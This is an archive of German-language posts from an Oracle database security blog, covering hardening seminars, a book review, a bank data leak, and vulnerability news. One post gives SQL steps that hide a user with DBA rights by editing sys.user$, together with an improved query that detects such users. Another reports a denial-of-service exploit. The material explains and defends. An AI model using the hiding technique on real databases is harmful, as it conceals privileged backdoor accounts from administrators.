Ich habe eben meine beiden Vorträge zum Thema „Live-Hacking von Oracle-Datenbanken“ und „Überprüfung von Oracle-Datenbanken nach dem BSI Grundschutz-Standard“ hochgeladen.
Archive for the ‘Allgemein’ Category
Cebit 2012 Vorträge
Freitag, März 9th, 2012DOAG Berliner Expertenseminare: Oracle Hardening & Patching / Auditing & Co.
Freitag, April 9th, 2010Am 26.04.2010 – 27.04.2010 findet in Berlin das DOAG Expertenseminar „Oracle Hardening & Patching / Auditing & Co.“ statt. Noch sind Plätze frei.
Ich werde dieses Seminar halten und neben Updates bzgl. dem Oracle April CPU/PSU über folgende Themen sprechen:
Nach den in den letzten Monaten publik gewordenen Vorfällen mit gestohlenen Kontodaten rückt die Datensicherheit immer mehr in den Fokus der Öffentlichkeit. Für Anwender, Entwickler und Administratoren stellt sich die Frage, wie damit umgegangen werden soll, aber auch das Management in den Unternehmen ist längst mit diesem Thema befasst.
Dieses Seminar gibt einen Überblick über den aktuellen Status der Oracle-Sicherheit und den sich ändernden Fokus, der sich vom DBA immer mehr in Richtung Entwickler verschiebt. Das Härten von aktuellen Oracle-Datenbanken (10.2.0.4 und 11g) zusammen mit den unterschiedlichen Patch-Bundles (CPU/PSU/Windows Bundle) wird besprochen und es wird aufgezeigt, wie das Basis-System abgesichert werden kann. Weiterhin wird auf typische Architekturprobleme in realen Datenbanksystemen hingewiesen, die ein Risiko für die Sicherheit der Datenbanken sein können.
Es wird ebenso auf typische Sicherheitsprobleme in selbstgeschriebenem PL/SQL Code eingegangen, welche ein großes Sicherheitsproblem darstellen können. Dadurch können auch gut gepatchte Datenbanken wieder extrem gefährdet sein. Darüber hinaus werden auch Lösungen zum automatischen Scannen von großen und kleinen Datenbanken vorgestellt. Zusätzlich wird auf das Schreiben von Oracle Policies eingegangen.
Der zweite Tag stellt das Thema Auditing in den Vordergrund. Es werden zuerst die typischen Angreifer, deren Motivation und die möglichen Gegenmaßnahmen erläutert. Die verschiedenen Auditing Konzepte und deren Möglichkeiten und Limitierungen werden aufgezeigt. Weitere Themen sind der Entwurf von Auditing Systemen und alternative Auditing Lösungen. Aber auch das Umgehen von Auditing Systemen, die Verschlüsselung von Daten und die Analyse von Log-Daten sind Gegenstand des Seminars.
Da Auditing immer auch die Anwendungsdaten umfassen sollte, wird auch über Data Discovery und die Identifikation von sensiblen Informationen gesprochen. Diese Daten sollten auf Testsystemen nur anonymisiert bzw. pseudonymisiert verwendet werden.
Inhalte:
26. April 2010: Oracle Hardening & Patching
* Oracle Security im Jahr 2010
* Aufgabenverteilung Security: DBAs vs. Developer
* Härten von Oracle 10.2.0.4/11.2.0.1 Datenbanken
* Oracle CPU vs PSU vs Windows Bundles
* Passworte in Oracle Datenbanken (Klartext, verschlüsselt, gehasht)
* Typische Architektur Probleme von realen Oracle Systemen und deren Lösung(en)
* Typische Anwendungsprobleme (SQL Injection, …) und deren Lösung(en)
* Scannen von Datenbanken
* Schreiben von Oracle Policies (wie lang, wie kurz)
* Secure Development Guide (dynamische SQL, dbms_assert, …)
27. April 2010: Auditing & Co.
* Typische Oracle Angreifer (neugierige MA, ausscheidende MA, externe Hacker, …)
* Auditing Konzepte
* Oracle Auditing
* Fine Grained Auditing (FGA)
* Oracle Audit Vault
* Entwurf von Auditing Systemen
* Alternative Auditing Lösungen
* Oracle Transparent Data Encryption (TDE)
* Wie sicher ist Auditing oder wie umgeht man Auditing / IDS Lösungen
* Was sollte auditiert werden
– Kritische Oracle Komponenten
– Anwendungsdaten
* Finden von sensiblen Informationen
– Data Dictionary
– Dateninhalt
– Reguläre Ausdrücke
– Logtabellen
* Analyse von Log-Datei
– Finden von Angriffen
– Blocken gefährlicher Tools
* Anonymisierung/Pseudomisierung von Daten
– Tools
– Manuell
Buchvorstellung: Oracle Survival Guide
Donnerstag, Januar 15th, 2009Zwischen Weihnachten und Neujahr hatte ich ein wenig Zeit, neue Oracle Literatur zu lesen. Eines der Bücher war der „Oracle Survival Guide„, die mir der MITP-Verlag freundlicherweise zur Verfügung gestellt hat. Dieses enthält dem Umschlag zufolge „die wichtigsten Informationen zum Überleben in Oracle-Projekten“.
Eine nach dem Lesen des Buches recht zutreffende Beschreibung. Dieses Buch wurde von verschiedenen Autoren Cornel Brücher, Frank Jüdes (ein Ex-Kollege aus meinen Oracle-Zeiten), Mario Haupt, Uwe Küchler und Andreas Takano.
Die ersten 80 Seiten (SQL Syntax, PL/SQL, SQL*Plus) sind sicherlich für jeden Oracle Einsteiger oder Wechsler von anderen Betriebssystemen interessant, da hier das 1×1 sehr gut und knapp beschrieben wird. Gerade für Sicherheitsleute, die bisher keine oder nur wenig Ahnung von Oracle haben meines Erachtens sehr empfehlenswert.
Mit persönlich hat das Kapitel „Wie sag ich’s dem Orakel“ am besten geholfen, da ich parallel zum Lesen dieses Buches die Anbindung von verschiedenen Programmiersprachen zu Oracle aus Sicherheitsgesichtspunkten teste. Mit Hilfe des Buches habe ich beispielsweise innerhalb 1 Stunde PHP aufgesetzt und erfolgreich zu Laufen gebracht. Hier hat mir das Buch einiges rumsurfen im Internet erspart.
Weitere Kapitel in diesem Buch betreffen UNIX Basics, vi (geliebt oder gehasst), XMLDB und allerlei Tricks wie „Wer sperrt meinen Datensatz“, „Reguläre Expressions“, …
Insgesamt für Einsteiger ein sehr empfehlenswertes Buch.
Frohe Weihnachten & ein gutes neues Jahr
Mittwoch, Dezember 24th, 2008Lieber Leser
ich wünsche Ihnen und Ihren Familien ein schönes und ruhiges Weihnachtsfest und einen guten Start ins Jahr 2009.
P.S.: Dies ist ein Foto unserer kleinen Tochter Anna, die inzwischen 10 Monate alt ist…
Datenklau bei Berliner Landesbank
Sonntag, Dezember 14th, 2008Wie die Frankfurter Rundschau am Donnerstag berichtete, wurde Ihr in einem Päckchen Microfilme und (separate) Unterlagen mit Kreditkarten-PINs der Berliner Landesbank (LBB) zugesendet. Wieder mal ein Fall, wie schnell Daten verschwinden können. Mich hat allerdings überrascht, dass heutzutage noch Microfilme verwendet werden und diese per Kurier durch die Lande geschickt werden.
Laut einer Erklärung der LBB besteht allerdings „keine Gefahr für das Vermögen der Kunden“. Wer die Erklärung genauer liest, erkennt die feine Formulierung „Die Landesbank Berlin legt Wert auf die Feststellung, dass anders als berichtet in dieser Datensendung keine Geheimnummern enthalten sind, die den Zugriff auf Kundenkonten ermöglichen“. Damit wird NICHT ausgeschlossen, dass in dem Paket Geheimnummern enthalten waren, sondern nur, dass die Microfilme keine Geheimnummern enthalten.
Für die Kunden (z.B. der Amazon/ADAC/Xbox-Live/AOL/Air Berlin/Simyo-Kreditkarte), deren Konto leergeräumt werden, ist dies jedoch keine große Hilfe.
Interessant war an diesem Fall noch der Umgang mit dem Datenleck. Die besorgten Kunden legten die Kunden-Hotline lahm, sozusagen ein Kunden Denial-of-Server (K-D.o.S.).
DOAG 2008
Mittwoch, Dezember 3rd, 2008Nach 3 erfolgreichen Tagen ging heute die DOAG zu Ende. Mein Vortrag „Best of Oracle Security 2008“ ist zum Download via Red-Database vorhanden.
Sentrigo veröffentlicht Report das 67% der DBA noch nie einen CPU eingespielt haben
Montag, Januar 14th, 2008Heute hat Sentrigo einen Bericht veröffentlicht, der von einer Umfrage bei (nordamerikanischen) DBAs berichtet. Demzufolge haben lediglich 10% der DBAs den letzten Oracle CPU (Critical Patch Update) eingespielt und ca. 67% der Umfrageteilnehmer haben noch niemals einen CPU eingespielt.
Dies deckt sich auch mit meinen Erfahrungen, dass auf viele Oracle Datenbanken lediglich der aktuelle Patchset eingespielt wird.
Unsichtbare Benutzer durch Datenmanipulation
Montag, Dezember 24th, 2007Auf der Deepsec-Konferenz gab David Litchfield eine Präsentation zum Thema „In-Memory Rootkits„. Beiläufig erwähnte er auch die Möglichkeit, unsichtbare Benutzer durch Modifikation der Tablespacenummer zu erzeugen („update sys.user$ set datats#=31337 where user#=76„).Um diese unsichtbaren Benutzer zu finden, riet David, das folgende Statement zu verwenden („SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS„).
————- Tests auf 10.2.0.3 mit Oct 2007 CPU ——————–
— Benutzer U1 mit DBA Rechten erzeugen
SQL> create user u1 identified by u1;
SQL> grant dba to u1;
—
SQL> select user#, name, datats# from sys.user$;
0 SYS 0
1 PUBLIC 0
76 U1 5
…
— datats# auf einen nicht existierenden Wert setzen
SQL> update sys.user$ set datats#=31337 where user#=76;
1 row updated.
SQL> commit;
Commit complete.
— Vergleich sys.user$ mit dba_users
— Wie eine Suche mit Google zeigt, wird dies von vielen verwendet, um unsichtbare Benutzer zu verwenden
SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS;
U1
— Aber funktioniert dies immer?
— Warum nur eine Spalte updaten?
— Wir ändern einfach den type# auf 2 (Neustart der Datenbank ist notwendig)
—
SQL> update sys.user$ set type#=2 where user#=76;
1 row updated.
SQL> commit;
Commit complete.
— Wenn wir das vorgeschlagene Statement laufen lassen,
— wird unser User nicht angezeigt. Diesen Fehler haben
— aber alle gemacht (David, Pete, Alex, …)
SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS;
no rows selected
————-
— Zum Testen ist es notwendig, die Datenbank zu starten, da ohne Neustart der Datenbank auch type#<0 funktioniert
SQL> conn u1/u1
— Deshalb sollte folgendes Statement verwendet werden
SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# !=0 MINUS SELECT USERNAME FROM SYS.DBA_USERS;
U1
—
Frohe Weihnachten.
Vertragsunterzeichnung mit Red Database Security auf der DOAG
Mittwoch, November 28th, 2007Vertragsunterzeichnung mit Red Database Security auf der DOAG
Bernhard Opitz, OPITZ CONSULTING mit Alexander Kornbrust, Red Database Security Mit Unterschrift und Händedruck besiegelten Bernhard Opitz, Geschäftsführung OPITZ CONSULTING und Alexander Kornbrust, Geschäftsführer Red Database Security die neue Partnerschaft: Im offiziellen Rahmen der 20. Deutsche ORACLE-Anwenderkonferenz in Nürnberg wurde der Kooperationsvertrag unterschrieben. In dem mehrere Seiten umfassenden Dokument sind die Bereiche der Zusammenarbeit und die jeweiligen Zuständigkeiten detailliert beschrieben und festgelegt worden.
Zukünftig wird es in enger Zusammenarbeit beider Unternehmen folgende Angebote für unsere Kunden geben:
* CPU-Review: Ergänzend zum vierteljährlich erscheinenden Critical Patch Update von Oracle werden die enthaltenen Fixes bewertet und kommentiert. CPU-Review wird als elektronisches Abonnement angeboten.
* Schulungen im Bereich „Oracle Security“ für Datenbankadministratoren, Software-Entwickler und das Management
* Durchführung von Tool-gestützten Security-Checks
Über unseren neuen Partner:
OPITZ CONSULTING wurde 1990 als Gesellschaft für Organisationsberatung und Projektabwicklung gegründet. Das Unternehmen verfügt heute über eine Zentrale in Gummersbach und Niederlassungen in Bad Homburg, Gummersbach, Hamburg und München. Die Gründer hatten die Vorstellung, Organisationsberatung und Durchführung von IT-Projekten aus einer Hand anzubieten – beginnend mit der Geschäftsprozessanalyse über die Realisierungskonzeption und anschließende Realisierung bis hin zur Betreuung der Lösungen während des gesamten Lifecycles. Somit ein ganzheitlicher Ansatz, für den der Slogan „Solution Engineering for your Business“ geprägt wurde.
D.o.S. Exploit für Oracle 10.2.0.1/10.2.0.2 auf Bugtraq veröffentlicht
Samstag, November 3rd, 2007Gestern hat ein anonymer Poster (oraclefun@hushmail.com) einen Exploit für XDB_PITRIG_PKG.PITRIG_DROPMETADATA in Oracle 10.2.0.1/10.2.0.2 auf der Sicherheits Mailingliste Buqtraq veröffentlicht, ohne jedoch Erklärungen über betroffene Versionen zu veröffentlichen. Nach einigen Tests gegen verschiedene Datenbank-Versionen habe ich herausgefunden, dass nicht gepatchte Oracle 10.2.0.1 und 10.2.0.2 Datenbanken sofort abstürzen.
Um diesen Exploit laufen zu lassen sind lediglich „Create Session“-Privilegien notwendig. 10.2.0.3 ist nicht davon betroffen.
Erwähnenswert ist weiterhin, dass dieser Exploit IDS Evasion Techniken verwendet und damit viele der üblichen netzwerkbasierten IDS Systeme austrickst.
Oracle 9i Rel. 1, 9i Rel. 2, 10g Rel.1 und 11g sind ebenfalls nicht betroffen und werfen Fehlermeldungen.
######### 9.2.0.8 , 10.1.0.5 #########
ERROR at line 22:
ORA-06550: line 22, column 1:
PLS-00201: identifier ‚XDB.XDB_PITRIG_PKG‘ must be declared
ORA-06550: line 22, column 1:
PL/SQL: Statement ignored
#########
######### 10.2.0.3 or 11g #########
ERROR at line 1:
ORA-29329: Table not of type XMLType
ORA-06512: at „XDB.XDB_PITRIG_PKG“, line 127
ORA-06512: at line 22
#########